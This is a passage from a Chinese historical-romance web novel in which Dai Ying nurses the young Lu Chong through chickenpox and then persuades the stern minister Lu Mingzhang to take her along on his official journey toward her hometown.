那小厮咽了口唾沫说道:“大夫说手心冒了几粒,口舌内没有,但眼下刚发出来,未能确认清楚。”
嘴里没有是好事,就怕嘴里现在不发,晚些时一并发疹。
“大人,疹子发在四肢,可能不是天花,我儿时曾得过水疱疮,崇哥儿这症状倒像是,不如让我进院中陪侍。”
陆铭章沉吟片刻,问道:“你从前染过水疱疮?”
戴缨点头道:“是。”
水疱疮前期也是身体发热,不发疹前同天花很像,不同的是,水疱疮从四肢开始出疹,而天花则从口舌往外发疹。
虽说水疱疮相较天花温和,却也“过人”,都是极为麻烦的病症,不能掉以轻心……
第32章 大胆的要求
在戴缨等待陆铭章点头之前,一边的曹老夫人听说戴缨愿陪侍自己孙儿,迫不及待想让她进入院中。
“既然你有这份心,还耽搁什么,速速进入院中,待我孙儿痊愈,咱们陆家必不会亏待……”
曹老夫人话音还荡着,陆铭章一个眼神斜来,立马噤了声。
“来人,送曹老夫人回院。”陆铭章吩咐道。
曹老夫人一声不言语,被仆从簇着离开了。
戴缨见过这位老夫人跋扈的样子,一般人根本招架不住,就连陆老夫人都被她嚷得锁眉闭目,却在陆铭章这个小辈面前唯唯诺诺。
陆铭章的声音将戴缨拉回神:“从前当真染过水疱疮?莫要逞能。”
戴缨点了点头:“当真。”
陆铭章在她面上看了一眼,似是在分辨这话是真是假,落后给一旁的小厮使了眼色,小厮躬身走到戴缨身侧:“娘子请随小的前去。”
戴缨颔首,朝院子行去,田嬷嬷紧随其后,丫鬟替她们戴上白巾,进入院中。
立于远处的陆铭章双手背在身后,定定地看着。
“兄长,若是这次崇儿能平安,那丫头能平安……”陆铭川转头看自己兄长,认真道,“身份上的事……对我来说并不那么重要……”
陆铭章缄默不语,背在身后的宽大衣袖在热风中鼓动。
……
戴缨走进院中,仆人们虽立在院中,却离台阶远远的。
她拾级而上,推门进入,屋里光线很暗,尽管窗扇开着,室外的光线像是无法透进来,好像也怕来着,气势汹汹地落到窗台,又偃旗息鼓,被削得只剩灰淡淡一片,铺洒到屋室的地砖。
鼻息下萦绕着浓浓的药味,整个屋室都是窒闷的。
两个丫鬟躲得远远的,立在帷屏外,大夫从里间出来,见了戴缨,上前施礼。
“小娘子怎的进来了,还未确诊,出去为好,莫要过上病气。”
戴缨还以一礼,问道:“只是手里出疹,嘴里没有?”
“眼下是没有,不代表一会儿不出疹,仍需观察一日。”
戴缨点了点头,往里去走,大夫没再阻拦,知道既然能进屋,必是得到应允。
里间,戴缨见到床上的小人儿,四肢摊开,就那么仰躺着,衣襟前还有黄色的汤汁,脸是红的,唇色更红,一探手,身上烧得发烫。
田嬷嬷在一边淌眼抹泪,嘴里唧哝着:“都是一群不尽心的白眼狼,生怕过上身,哪有看顾,就这么撂手不管哥儿,等我出去,我非跟主子爷……”
“嬷嬷快别哭了,去打盆温热的水来。”戴缨说道。
田嬷嬷现在唯戴缨马首是瞻,她说什么便是什么,忙不迭地应下,不一会儿,端了热水来,铜盆边搭了毛巾。
戴缨坐到榻边,先翻看孩子的手心,有几粒不太明显的红疹,若不仔细看,看不出来,当下不再犹豫,把他的小衫褪去,将毛巾浸湿再拧干,轻轻地给他擦洗上身,一来保持干净,二来降温。
她儿时得水疱疮时,娘亲就是这么耐着性子,一遍一遍替她擦拭身子。
田嬷嬷又拿来干净的衣衫,给陆崇换上。
换衣衫过程中,陆崇睁开眼,看向戴缨,弱着声气喊道:“姐姐。”
戴缨赶紧回应:“崇哥儿别担心,过三五日就好了。”
陆崇乖巧地“嗯”着,又道:“我渴了。”
戴缨转头吩咐田嬷嬷:“倒杯温水来,再叫大夫进来,趁哥儿醒着,看看要不要喂药。”
田嬷嬷照着吩咐去了。
不一会儿大夫进到屋里,在陆崇身上诊看一番,让丫鬟们重新端药进来,戴缨不借他人之手,亲身一点一点喂陆崇喝下,喝了小半碗,好在没有吐出来。
大夫见了,面露喜色:“能吃下去就好,老儿再开一副外洗的方子,用来降热解燥。”
“有劳大夫。”戴缨说道。
就这么,戴缨衣不解带地守在榻边,只要陆崇身上烧热,她便替他擦洗身体,一晚上不知更衣多少次。
经过一夜,大夫终于确诊,陆崇染得不是天花,而是水疱疮,这让戴缨松了一口气,也让整个陆家上上下下松了一口气。
之后便是出疹,在出疹时小陆崇的体温高得吓人,大夫说水疱干瘪结痂时,体温才会降下去。
所以在此期间,戴缨更是不敢马虎,又要替他用药水擦身、涂抹膏药,还要防止他抓挠。
大多时候全靠戴缨,因为水疱疮虽不比天花凶险,却也会过人,就这么看顾了三日,总算有了好转。
看着榻上的小人儿,脸色正常了,体温也降了下来,呼呼睡得正香。戴缨才算宽下心,连日累积的疲乏汹涌袭来。
她整整三日没有合眼,出了这方院子,差点晕厥。
陆铭川又是感激又是感动,这丫头算是第二次帮崇儿。
“想要什么,只要你提出来,我一定应下。”他这话不单单随口应诺,有更深的意思。
戴缨回看向陆铭川,他看向她的眼神很专注,他的那句话很有分量,让她恍惚觉得,无论她的要求多大胆,他都会同意。
“三爷,我现在只想回屋睡觉。”
陆铭川先是一愣,心情甚好地朗笑出声,然后吩咐下人们,送人回揽月居。
戴缨回了揽月居倒头便睡,醒来时天已黑,院中掌上灯。
门外归雁敲响房门:“娘子,起了么?”
戴缨揉了揉额,迷蒙地“嗯”了一声。
归雁推门而入,进来点了灯,说道:“适才老夫人那边来人,送了好些贵重物件,见你睡着没敢打扰,问了两句,让娘子你好好休息。”
戴缨听着,欠起身:“倒杯茶来。”
归雁端着茶水走到榻前,又道:“行鹿轩那边也来了人,问了娘子你的情况,也送了好些礼,都是稀罕物儿。”
“行鹿轩?”
戴缨一抚额,想起来了,陆家三爷陆铭川的院子,她在那里待了几个日夜。
归雁仍细细说着:“孔嬷嬷把礼都收到侧屋,摞得榻上堆不下呢。”
戴缨“唔”了一声,把手中的茶饮了半盏,递回给归雁,
归雁接过,转身
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,突然顿住,“哎呀——”一声:“看婢子这记性,差点把最重要的一头给忘了,陆家大爷那边也来人了。”
“陆相那边也来人了?”戴缨问道。
“是呢,是一个高高的,看起来脾气很好的人来着,叫什么……长安,对,叫长安的,他说娘子若是醒了,去前面书房一趟,陆相要见您。”
戴缨下榻趿鞋,归雁上前替她穿戴衣物,重梳妆容。
妆台边烛火摇曳,镜中人,双眼很新,很亮,可神态间又带着饱睡后的慵懒,连发丝都是软倦倦的。
她将手半握着,脸依在掌上,像是还没醒完全,有些痴怔。
“娘子?”归雁轻唤道。
戴缨将脸埋在双手间,一副还想再睡会儿的模样。
归雁有些着急,这会儿各院已经掌灯了,于是又唤了一声:“娘子?”
戴缨抬起脸:“走罢,去前院。”说着,站起身出了屋门,归雁在前提灯,一路行到前院的书房。
长安见了来人,往里报知,转身出来:“小娘子请。”
戴缨点头,进了书房。
同前次不同,陆铭章虽伏于案后,她一进入,他便搁下手头事务,并从案后走出,坐到屋中的罗汉榻上。
“坐下说话。”
戴缨半侧着身,坐到他右手边一溜排的第二把交椅上,隔出一段不近不远的距离。
“这次崇儿能好全,有你的功劳,若有要求尽可提出来。”陆铭章说罢,便把戴缨看着,见她双眼星欠,粉面薄腮,一副没睡饱的样子。
“缨娘没有什么要求,也没想那么多,只是一心想崇哥儿快些好。”
戴缨说罢,对面静了下来,于是缓缓抬眼,就见陆铭章一手搁于矮几,一手撑于腿上,姿态端阔闲适,眼神落在她的身上,很轻,却有些意味不明。
也是在这寂寂的一刹那,她会过意来。
陆铭川让她提要求,是纯粹感激,想要给予回报,而陆铭章让她提要求,是在探她的态度。
“戴家行商,你父亲戴万昌膝下无子,便让身为长女的你帮忙料理生意,你虽身为女儿家,经商却是在行,来京都之前,戴家有不少商号皆由你打理。”陆铭章下巴微抬,“说得可对?”
自家的事被人漫不经心地道出,让戴缨有些难堪,却也只能硬着头皮应是。
陆铭章点了点头,继续道:“既是商人,那还是谈利较妥当。”
戴缨眼睫微颤,说不出心里是什么滋味,明明先前说话还客气,态度也温和,怎么这会儿生冷冷的。
她哪里惹恼了他,是因为上次的误会?可他这样大的人物,哪会为一点小事耿耿于怀。
“大人召缨娘前来,说了这些话……是在担心什么?”戴缨抬头问道。
陆铭章静静看向对面的戴缨,并不回答。
戴缨心中了悟,原来如此,转而轻笑一声。
“大人担心我挟恩图报,对陆三爷生出不当妄念,而三爷素重情义,必不忍相拒,致使局面难以收拾,遂不谈情,只言利,缨娘说得可对……”
第34章 叔父怎的不疼我?
戴缨两眼睁亮,双手不自觉地绞在一起,身子微微前倾。
“对,对,青城我知道,驾车到平谷不过一日工夫。”
陆铭川将戴缨激动的模样看在眼里,她似是忽略掉他的最后一句话。
戴缨稍稍平息,这会儿才留意到刚才那句话里的重点。
出京外办的不是眼前随性的陆三爷,而是不苟言笑的陆家大爷,陆铭章。
那可不是一位好说话的主儿,她在他面前从来就没讨到过便宜。
陆铭川似是看出了戴缨的顾虑,说道:“不如这样,你先去求一求,看能不能讨得他的话,若他应了,那最好,若他不应……我去帮你央浼一番,你看这样可好?”
戴缨哪有不应的,她到京都,除了陆老夫人,便是眼前这位陆三爷给她关心。
戴缨从座位站起,欠下身:“缨娘在此谢过三爷。”
陆铭川起身,抬了抬手:“不必多礼,现在兄长不在府中,午时过后再去寻他,那会儿应当在。”
两人又说了几句,方散去。
一大早,天阴得厉害,直到戴缨用罢午饭,雨也一直没有落下来,呜呜的风将头顶的云层吹散,天光倾下来,灰蓝色调。
如今渐热起来,午后时分,戴缨通常会小困一会儿,然而今日她有要紧事。
戴缨去了前院书房,院前守着两个小厮,见了来人,躬身行礼。
“大人可在里面?”戴缨问道。
小厮笑答:“还未归呢。”
“可知几时归府?”
“这个小的并不知,大人白日少在府里。”
戴缨点头表示知晓,陆铭章不仅白日少在府中,还时常晚归,这个她是清楚的,先前在上房,他好晚才去老夫人跟前拜见。
她到底一女儿家,总不能守他到夜里罢。
沿着小径,戴缨慢腾腾往回走,归雁在后打着衣袖扇风:“娘子,这天太窒闷,不知几时落雨,下他个一场,也好凉快凉快……”
戴缨突然顿住脚,跟在身后的归雁刚要发问,就见她家娘子往另一个方向行去。
“娘子,咱们去哪儿?”归雁追问道。
“福兴楼。”
归雁一听,忙说:“那婢子让人备车。”
戴缨一面往府外去一面说道:“不必,从这里去福兴楼,穿过一条窄巷便是,乘车反而远了。”
两人出了府门,行过一程,穿进一条窄弄,走出,左手边的拐角便是福兴楼的两间通铺。
戴缨一进店里,店伙计迎上来:“戴小娘子近日可好?好久不来了。”
戴缨笑着应了两句,一双眼沿着楼阶看向二楼:“二楼有客?”
店伙计点头道:“客人包下了,小娘子若是不嫌弃在一楼……”
戴缨打断道:“小哥儿,可否上去帮忙传个话儿?”
伙计听了,摇手摆脑道:“可不敢,可不敢,那上面……不行,不行……”
戴缨给归雁睇了个眼色,归雁会意,从荷包掏出一锭子,塞到伙计手里。
那伙计捏着银子,苦笑道:“小娘子这是……小的若上去走一遭,这手头的活计就丢了。”
归雁插话道:“小哥儿怎么想不转,你帮我娘子传个话,就算丢了手上的营生,我们给的酬劳难道还不够你吃一辈子?我家娘子也不能让你吃亏。”
店伙计一想,也对,这位小娘子出手阔绰,指缝里随便撒点星沫,一辈子都花不完。
当下不再多说什么,从旁边的桌上拿过木托子,又往上放了一壶茶,三步并作两步,往二楼登去。
店伙计手执托盘,刚上到二楼口,就被一个身量修长的身影拦了下来。
“干什么?”声调不高不低。
伙计的目光越过那人肩头,踮脚往里看,喊了一声:“大人,下面有人找。”
伙计话音刚落,察觉不对,身上一股冷意,汗**瞬间立起,没等他想明白,掌柜的已跑了上来,一巴掌呼到伙计头上。
“安爷莫见怪,这伙计是个浑的,我现在就把他撵下去。”掌柜说着,把伙计衣领一提,压着声喝骂道,“贼猢狲,你这双眼睛是出气的?!惊了里面的爷,你我有几个脑袋都吃罪不起,滚去前堂好好杵着。”
伙计收了戴缨的银子,实心想着,他若不把话带到,岂不是银子也没了,还空挨一顿骂,怎么想怎么不划算。
当下扭过脖儿,扯着嗓子喊了一声:“她说她姓戴,有事求见大人。”
掌柜恨得兜头又给了店伙计一巴掌:“你是我祖宗。”
待人下了楼,长安走到楼阶扶栏处,睨眼去看,就见立在楼口处的戴缨。
戴缨抬眼对上,福了福身,长安颔首,回身往二楼里间走去,过了一会儿长安走到楼下。
“小娘子请移步。”
戴缨一手扶栏,一手捉裙,拾级而上,二楼堂间空着,戴缨目光径直往平台看去,那里坐着一人,半隐在门栏后。
于是走了过去,福身道:“缨娘冒昧,扰了大人。”
“坐罢。”陆铭章说道。
长安从旁给戴缨看了茶,退下。
“什么事,找到这里来?”陆铭章问道。
“大人可是过些时会离京外办?”
陆铭章点了点头。
“可是去青城?”戴缨又问。
“不错。”
戴缨双手环着杯,指尖点了点杯壁,一烫又惊得缩回:“大人此次离京可否捎带上缨娘?”
陆铭章微微颦眉:“我离京乃公办,你随同一道做什么?”
“青城同平谷毗邻,缨娘有些念家……”
一语未毕,陆铭章已表了态:“不可。”
戴缨早有准备,可听得如此说,心里仍是一紧。
“缨娘只是随行,必不搅乱大人行期。”
“你既念家,可自行回乡。”陆铭章出言道。
戴缨将食指往热烫的杯壁靠去,低声道出:“缨娘跟着大人才能出京……”
说罢,抬起一双微红的眼,眼中噙着泪珠,一副泫然欲泣状。她看不来女子扮柔弱装可怜
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,这会儿为了达到目的,却演上了。
“不行。”平平的声音不带一点起伏,不为所动。
戴缨听罢,拿手背把眼睛一揉,将一汪眼泪拭了个干干净净,再把眼睛睁瞪。
“大人何故这般无情,先时老夫人还让我唤您一声叔父,叔父怎的不疼疼我这个小辈?”
陆铭章眉梢一跳,脸上情绪难辨。
戴缨也是豁出去了,她回平谷有两件要紧事,若没这个契机便罢了,可眼前有这样一个机会,岂能错过。
不知哪户的窗户没关严实,啪的一声,被风刮打响,楼下的毡棚哗啦啦颤晃。
乌云如浪一般压下来,一道轰雷裂响,天光再次暗了下来,随之而来的便是大雨,噼里啪啦下了起来,砸在地上生成白烟。
风起,把雨刮到平台内,脚边的裙摆湿了,戴缨低头看去,“嗳”了一声,将身子往里侧了侧,看着污了的裙边,眉心拧出一点点愁意。
“行程定于初五。”
陆铭章的这一声让戴缨顿觉裙摆上的泥点子可爱起来。
心下暗忖,果然,马好在腿上,人好在嘴上,先时求了半天,他不应,结果叫了一声叔父,他就应了。
看来以后得多叫一叫,兴许关系不知不觉就亲近了,于是欢喜道:“缨娘在这里谢过叔父。”
陆铭章指尖一颤,当下站起身,往外走去,走了几步,侧过头:“还不走?”
戴缨忙起身跟上。
一楼堂间,掌柜的战战兢兢,骂店伙计的声音就没绝过。
“短命奴才,你这是要钱不要命呐!”
正待再骂,听得楼上传来了动静,一抬头,就见那位大人往楼下行来,而那位戴小娘子静静地跟在身后。
掌柜的反应过来,躬身相送,又是让人赶马车来,又是让人备伞,殷勤备至。
陆铭章踏着踩凳上了马车,戴缨迟疑不前,长安撑伞走来,说道:“小娘子移步上车。”
戴缨这才提着裙摆,踮着脚尖,踏着雨水,上了踩凳,入到马车里。
马车缓缓启行,一点点消失于雨幕。
待人走后,掌柜的喃喃道:“了不得,了不得,这位戴小娘子不简单,以后得当菩萨供起。”
……
车里,陆铭章端坐正中,戴缨坐到侧面,身子微微避着,屏着声息,马车内部整阔,可戴缨却有些局促,像是空气被杂糅成团,她这里稀薄得很。
这不相熟的人坐在一起,静时显得尤为窘迫,时间被拉得又细又长。
车轮轧着泥水,雨点打着车棚顶,嗒嗒嗒。
静的时间长了,戴缨再静不下去,寂然过头的环境总需一个人来打破,必须找点话说,显然,这个人不会是陆铭章。
“上次是缨娘不懂事,误会了叔父,惹叔父生恼……”
话音未落,陆铭章截断道:“还是唤‘大人’罢,或是唤我的表字。”
戴缨呆了呆,转念一想,也好,“叔父”二字得关键时候用,如此效果才显著……
第35章 她的事你过于在意了
两人坐于马车内,落在马车棚上的雨响得清晰。
当陆铭章说出,让戴缨仍唤他“大人”,也可唤他表字时,戴缨脑子里想的是,陆铭章的表字是什么?好像叫晏清来着。
晏,天清也。清,伏清白以死直兮……
如此温雅的两个字,然而,陆铭章这人的名声算不上清正,朝堂民间,说什么的都有,有说他直臣,夙夜在公,也有说他独断专行,党同伐异。
或忠或奸,当下难以论述,只能留于后人评断。
当然,陆铭章说可唤他表字,戴缨却不会真这么做,还是称呼“大人”稳妥。
“大人莫要见怪,上次之事是缨娘无礼,冲撞了大人。”
戴缨又自顾自地说道:“所以大人并未生缨娘的气?也是,大人有大量,怎么同我一小女子计较。”
陆铭章瞥了戴缨一眼,再把眼珠转回,直直看着前方:“当不得这番言语,本院不是宰相,心胸狭窄,小肚鸡肠,肚子里撑不得船。”
那日戴缨没有道出的话,陆铭章亲自说了出来,戴缨语塞,羞脸低下头,不出声儿了,早知道刚才就那么静着,也比眼下的情状好。
车里再次静下,比先前还要静,在这份寂然中,陆铭章开口道:“没同你计较。”
戴缨抬起头,恰巧这时陆铭章瞥向她,戴缨眼睛一缩,将目光转向对面的车窗,窗间微湿的风吹进来,吹动他的袖袍,袖口有一片湿渍。
她的目光随着风飘到了他的身上,才发现他的衣衫湿了好大一片,湿皱的袖下,双手微蜷于腿上,手背静伏着淡青色脉络。
马车停下,两人先后下了车,各自回了院。
这一宿,戴缨睡不着,再过几日,她就可以启程回平谷。
她的书信寄出已有些时日,不知戴万昌见了后怎么个看法,每日无不盼着他的回信,若她能回平谷,向他当面说明,这样更好。
母亲的忌日也快到了,回去祭拜。
次日一早,戴缨起身,想着初五便要启程,该准备些物什路上备用,于是告知了孔嬷嬷。
孔嬷嬷听后,理了理路上需用的行装,欢欢喜喜地带了人去街上置办。
用罢早饭后,揽月居来了一人,正是将将痊愈的陆崇。
戴缨拉着他的小手,左看看右看看,又转陀螺似的,在他周身细细打量:“都好了?”
“好了,好了,头不热了,也不瞌睡了。”小陆崇嘻嘻说道,嘴角镶两渥笑。
“你父亲可知晓你来我这里?”这孩子金贵,不得不多问一句。
“怎么不知,他本也要来的,同我一路走呢,却被大伯差人叫去了。”
小陆崇登登跑到罗汉榻边,爬上去吊脚坐着,嘴里说着话:“我知道大伯叫我爹去做什么?”
戴缨觉着好笑,小小的人儿,做出一副小大人的模样,顺着他的话问道:“做什么?”
小陆崇眯起眼,咧开嘴,招了招手:“姐姐,你附耳来,我告诉你。”
戴缨笑着走了过去,弯下身,侧着耳。
“府里来人啦——”
戴缨“哦——”过之后便没有了,陆崇却是一脸你快问我的期待。
戴缨于是问道:“来的何人?”
陆崇捂着嘴,弯眼笑起来,勾起戴缨的好奇,就听他说道:“是大姐的未婚夫婿。”
戴缨怔了怔,谢容?他来陆府了?也对,他同陆婉儿定了亲,只是日子还未敲定,陆婉儿如今年岁十五,老夫人还想把人留个一两年,大一点再嫁过去。
想来陆铭章要替他这位未来女婿筹谋了。
“姐姐?你怎么不说话了?”陆崇拿手在戴缨面前晃了晃。
戴缨回过神,笑了笑,陆崇继续说道:“我刚才跟过去,偷偷看了一眼,大姐夫长得真好看,比我爹爹还好看。”
“比你父亲还好看?”
谢容的样貌确实不俗,芝兰玉树一般的人,一众年轻子弟中,他最挑眼。
如若不然,陆婉儿也不会非他不可,情愿低嫁。
然而,谢容的外在到戴缨这里是模糊的,她看到的不仅仅是一张皮,是岁月舒展开的褶皱,永远抹不平整。
陆崇又深深思考,回道:“可我父亲比他高,大伯也比他高,还是我父亲和大伯更好。”
戴缨笑了起来,小儿家家,说来说去,还是自家人更好。
……
陆府内园……
三层塔阁的中间一层,卷帘半束,屋中光影摇摇,楼外树木蓊郁,绿荫成片撒向光洁的地面,融进去。
宽整的厅间摆着一方长案几,案上香炉升起细烟,案边坐着一人,一身天青色直缀,腰背挺直,端坐于圃团。
侍人走了来,重新续过茶。
“谢官人,已着人向前报知家主。”
谢容颔首:“有劳了。”
侍人退到一边继续候立,默默观着这位年轻阿郎,衣服并不显贵,甚至比不过他们府上的掌事。
他听人说了,这位是他们未来的姑爷,也不知是不是这一层原因,侍人觉得他很不同,哪怕穿着平常,也是一流的清贵。
这时,廊间远远传来脚步声,一点点响过来。
谢容起身,拂了拂袖,整好衣束,面向门。
一人背光走了来,谢容举臂,刚要施礼,看清了来人,并不是他久盼的陆相,而是另一位,陆相之弟,陆铭川,这人他是见过的。
“下官拜见大人。”
陆铭川抬了抬手,虚扶谢容说道:“无须多礼,坐罢。”
待陆铭川坐下后,谢容才告了座。
侍人立刻上前斟茶。
“敢问尊字?”陆铭川离京两年,回京后事务杂多,对眼前这个小辈知道的并不多。
谢容回道:“贱字长珏。”
陆铭川点了点头,说道:“陆相临时有事,不能前来,莫怪。”
“岂敢,是长珏叨扰了。”
陆铭川看了谢容一眼,端起茶盏喝过,接下去说道:“如今任国子监丞?”
谢容应是。
陆铭川示意谢容喝茶,谢容这才端盏轻啜一口,放下盏后,双手规矩放于两腿上,端方坐着。
“不必拘谨,日后都是自家
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人。”
“是。”谢容垂眸。
“今日让你前来,有一事,你只作知晓,集贤院的编修工作,陆相替你谋下了。”
谢容听罢,面上不显,一颗心却开始腾升,扑通扑传入他的耳鼓。
编修工作,听起来枯燥,同权之一字不沾边,就是修整文书,却是文臣们极度向往的清华之选,这馆阁经历便是镀金,未来升任的资历。
又可发挥他本职优势。
纵使谢容再稳沉,这会儿也有些压持不住激荡的内心,攥了攥手心,手心已经出了汗。
若只凭他,一辈子也挣不来的机会,对他未来的岳丈来说,不过就是信口一句话的事。
陆铭川不着痕迹地看了眼谢容,又道:“等把这份差事领了,认真完成,之后,我兄长对你另有安排。”
谢容赶紧起身,深深作了一个揖:“谢陆相提点,谢大人提点。”
两人又说了些话,陆铭川留谢容在府中用饭,谢容哪敢,再三辞过,方离去。
待人去后,陆铭川去了一方居,他兄长居住的院子。
长安见了来人,将人迎进。
“我哥呢,可在屋里?”陆铭川问道。
“在呢,小人这就去通报。”长安说道。
陆铭川一摆手,径直上了台阶,叩了两下门框,不等里面回应,推门而入。
“哥——”一进入,环眼四顾,发现外间无人,隔断的帷屏传出窸窣声。
“你差人叫我去,原是你还未起身。”陆铭川转身走到门首,对着院里的丫鬟招了招手,“进去伺候。”
丫鬟们垂手进入,绕过帷屏,进到里间,听得衣料窸窣,不一会儿,陆铭章走了出来,坐到桌边:“人走了?”
“嗯,走了。”
“大哥既然不喜谢家小郎,为何又替他谋差?”陆铭川问过后,方觉自己多此一问,左不过为了婉儿,总不能真叫她嫁一个七品之家。
直至现在,陆铭川也想不明白,为何当年兄长见了婉丫头,都没多想,便决定收养她。
那会儿兄长也才十五六年岁,仅是因为起了怜意?
“我离京后,府里的事情,你多操心。”陆铭章说道,腔音沙浅浅的。
陆铭川点了点头,没有接过话头,而是问道:“兄长嗓子不适?听着有些沙哑。”
“昨儿淋了些雨,不打紧。”
陆铭川倒了一杯热茶递上:“兄长不日就要离京,千万保重身子。”
陆铭章接过,应了一声,将热茶润入喉咙,然后抬眼看向仍坐在对面的陆铭川:“还有事?”
陆铭川犹豫片刻道:“戴家那丫头有没有找兄长……”
“她会随同一道。”陆铭章把杯往桌上一放,淡淡说道。
陆铭川放下心。
陆铭章看了自己弟弟一眼:“她的事……你过于在意了,拿捏好分寸。”
陆铭川微微颔首:“小弟知道,只是偿还人情,没作他想。”
“行了,若是无事,去罢。”
陆铭川退了出去,刚走出一方居,迎面冲冲行来一人……
第36章 极力的忍耐和压制
陆铭川出了一方居,就见不远处行来几人,正是他那侄女儿,陆婉儿,带着几人往这边急急走来。
陆婉儿行得太快,没注意到陆铭川,碎步连连,走到跟前才恍然,赶紧慢下步子,行到陆铭川跟前。
“小叔。”
陆铭川点了点头:“这么急着做什么去?”
陆婉儿脸上一点点红,小声问道:“刚才府里来客人了?”
陆铭川“嗯”了一声。
“是不是谢……”陆婉儿话未道出,就被陆铭川截断,“问这个做什么,女儿家家注意好分寸。”
把陆铭章的语调学了个十成十。
陆婉儿呆愣住,小叔父为人随和,对她不曾有过一点责问,从来都是笑言笑语,怎么今日心情不好似的,于是不敢再言语。
“你父亲自有道理,你莫要多问。”陆铭川说罢,阔步离去。
陆婉儿急奔奔跑来,挨了一顿吼,心里受了气,不敢跟陆铭川急眼,转头却把气撒到谢珍身上。
“看看,看看,我这是为的什么,还不是为了你们谢家。”
谢珍一双眼仍望着刚刚离去的那人,连陆婉儿埋怨的话也未做理会。
陆婉儿怨过后,没听到回音,看向谢珍,就见她痴立在那里,一双眼不知在看什么,顺着她的目光看去。
再收回,一脸了然地睨向谢珍,嘲弄道:“我还道你不声不响,原来憋着大主意哩!”
谢珍回过神,脸色涨红,不承认:“什么大主意?哪里来得大主意?不知你说什么。”
陆婉儿正要再说什么,往谢珍身后一看,惊唤一声:“小叔。”
谢珍赶紧回身,低下头,脸上的红晕升到了耳尖,柔着腔子轻唤:“陆大人。”
结果对面没有任何回应,一抬头,哪里有人,陆婉儿满含嘲讽的声音响起:“还不承认,不是我唤你,你的魂都跟着我小叔走了。”
谢珍拿帕子捂脸。
“你别肖想我小叔,他可不是你能想的。”陆婉儿冷声道。
“为何?”谢珍从帕子上抬起脸。
陆婉儿同谢珍亲近,那也只是面上,全然看在她是谢容妹子的份上。
这谢珍连自己的身份都认不清,不说他们陆家如何显耀,单说她小叔就任步军司,那是什么品阶,岂是她一个小官之女能惦记的。
“你可知我小叔头一位妻室是什么身份?”
谢珍摇头。
陆婉儿嘴角一勾:“我那过世的小叔母是宣平侯家的嫡长女。”
谢珍咬了咬唇,一声不言语。
陆婉儿说得差不多了,又缓下语气道:“虽说我家小叔你够不着,可是你看……等我嫁入你府上,凭着我父亲的帮衬,你兄长日后必不会差,届时你再找个门户相当的,也不是难事。”
陆婉儿话里话外,三句两句不离她给予谢家的惠泽
谢珍捺下心里的恼意,转而扬起笑:“婉姐姐说得是,珍儿无不盼着你早日入我谢家呢。”
陆婉儿心下受用,她本是来打听谢容,听下人说他来了,于是急急赶来,被小叔训了几句,更不敢往一方居去。
遂掉过身,往另一个方向行去,谢珍面上的笑一点点变凉,紧随其后。
……
临行前一夜,孔嬷嬷和归雁打理行当,以备次日出发。
“我的主儿,让老奴跟着一起罢,从来不曾离过眼的,怎么放心得下呢。”孔嬷嬷一面包好妆匣,一面说着。
戴缨走到孔嬷嬷跟前,打开包裹,将妆匣拿出重新放回屉中:“你跟着我去了,谁替我看院子呢,屋里好些贵重物什,交给别人我不放心,我只放心嬷嬷一人。”
孔嬷嬷听后,又是欣慰又是忧心。
归雁走了来,指了指自己:“有我呢,我能照顾好小娘子。”
孔嬷嬷在归雁面上看了两眼,道出:“更不放心了。”
戴缨扑哧笑出声,走到院子里,抬头看去,满天星斗,闪闪烁烁,是个晴好的天气。
次日,天还未亮,戴缨从床上睁开眼,趿鞋下踏,推开窗户。将明未明的天上挂着几颗星,院子里已有了很轻很轻的动静,厨房那边升起白烟。
这个时节,天亮得快,没一会儿,幽蓝的物影清晰起来,显露出本来的颜色。
女子披着一头柔发,跪坐在窗前,那长长的乌发缱鬈于小腿边,两条手肘支在窗栏上,薄薄的纱袖被晨风轻轻吹起。
归雁披衣走出隔间,看到的便是这么一幅景象。
“早上还有凉气,小娘子可不敢这样兜风。”归雁说着,将窗扇掩上。
因要出远门,戴缨只作简单装束。
一身鹅黄翻领窄袖长衫,以素罗制成,领间精绣云纹,里面衬着月白色的抹胸,腰间束着一条淡黄色的轻绢长裙,裙裾自然垂下,并无过多纹饰。
乌云般的发绾了个简单的髻儿,几朵宝珠攒成的花饰,缀于发间。
在戴缨妆束间,孔嬷嬷已让人将行当装入府外的马车内。
戴缨先去了一趟上房,向陆老夫人问安并辞行,这才知道,原来陆铭章比她更先来过。
刚出上房的院子,小厮早已在旁立候。
“戴娘子可准备妥当了?”
戴缨点头,随着小厮往府外走去。
陆府门前已列了一队身着轻甲的军卫,并马车几辆,前后军卫开道、随护。
戴缨看了一眼,正中间那辆阔大的车内坐着的应是陆铭章,后面还有好几辆马车,想来里面坐的是陆铭章的随行属官和文书。
小厮引她到另一辆马车前,在丫头的搀扶中,踏着踩凳,上了马车。
待她坐定,队伍缓缓启行。军卫清了路面,很快出了城。
就这么走了一日,到了夜间,歇宿于驿站。
随行的人马很多,停当间却井然有序,不论是随行的军卫还是仆从。
戴缨下了马车,被引至驿站二楼,一间看起来很宽整的屋室。
不必另外吩咐,房里上了热饭和热水,全都是事先备好的,专迎他们到来。
用罢晚饭,沐过身,戴缨换了一身软绸衫,烘干发,早早躺到榻上。
白日因坐久了车,一躺下,感觉床板颠动,无法,只能闭着眼,强行让自己入睡。
不知几更天,她被一串声响惊醒,睁开眼再听,从隔壁传来:
咳……咳咳……
那声音瓮
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在喉管里,带了一点点的沙哑的破音。
咳嗽声再次响起,听得出来墙那边的人在极力忍耐和压制,可这咳嗽哪里能忍得,终是压不住,咳出声。
尽管嗓音与往日不同,戴缨仍听了出来,墙那边的人是陆铭章。
这人病了?
她刚闭上眼,咳声又起,断断续续,轻轻重重。
过了一会儿,“笃笃笃——”隔壁的门被敲响,接着房门打开,听得压低的人声,听不清说什么,想来应是送药来的。
墙那边静了,戴缨再次闭上眼,睡了过去,只是睡梦中仍伴着细隐隐的咳嗽声,朦朦中不知醒着还是睡着。
不知几更天,那边终于彻底安静。
然而,这份安静没有持续太久,走廊有了来去的脚步声,楼下动静也传了上来。
戴缨一睁眼,天亮了。
用罢早饭后,戴缨出了屋室,隔壁的屋门大开着。
下了楼,驿站前人马来去,戴缨往陆铭章那辆马车瞥了一眼,门帘闭得严实,昨夜的不宁有些不真实,她走上前,仍是坐上自己那辆马车。
整装毕,再次启程。
就这么停停歇歇走了三日,队伍途经一城。
当地官员早已于城门迎候。戴缨掀开车帘一角,往外看去,中间那辆宽大的马车仍无动静,同地方官员会面见礼的是陆铭章身边一副官。
之后那些冠冕公服的大小官员们走到陆铭章的马车边,躬身作揖,再侍立于路边,让队伍先行。
最后停于一府宅前,一行人住到府里。
